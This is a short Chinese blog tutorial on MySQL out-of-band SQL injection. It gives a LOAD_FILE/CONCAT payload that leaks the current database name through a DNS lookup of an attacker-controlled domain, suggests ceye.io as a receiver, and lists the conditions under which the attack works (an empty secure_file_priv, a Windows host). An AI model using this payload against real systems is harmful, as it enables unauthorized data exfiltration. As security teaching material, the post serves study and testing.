• mysql 带外注入


    带外通道


    有时候注入发现并没有回显,也不能利用时间盲注,那么就可以利用带外通道,也就是利用其他协议或者渠道,如http请求、DNS解析、SMB服务等将数据带出。

    payload


     SELECT LOAD_FILE(CONCAT('\\',( SELECT DATABASE() ),'.xx.xx\x));

    其中的load_file的地址为一个远程文件,mysql在load_file()一个远程文件时会发送dns请求包去解析,所以可以带出数据,'\data.xx.xxx' ,xx.xx为自己的服务器名,没有的话可以去这里申请一个 ceye.io 

    mysql带外注入条件


    1. mysql.ini 中 secure_file_priv 必须为空

    ( ps. 修改mysql.ini 文件,在[mysqld] 下加入 secure_file_priv =   )

    mysql 新版本下secure-file-priv字段 : secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。

    • 当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出

    • 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下

    • 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

    2. 从payload看出load_file的路径是windows下的UNC路径,所以mysql带外注入只能发生在windows机器上

    UNC路径

    测试


     

  • 相关阅读:
    react hook超实用的用法和技巧分析
    React.js事件处理的三种写法
    基于虚拟 DOM 库 (Snabbdom) 的迷你 React
    函数式的React
    Node.js特点和适用场景
    浅谈小程序运行机制
    NodeJS 和 C++ 之间的类型转换
    angular多语言配置
    react传递方法 警告
    2019第12周知识总结
  • 原文地址:https://www.cnblogs.com/leixiao-/p/9876313.html
Copyright © 2020-2023  润新知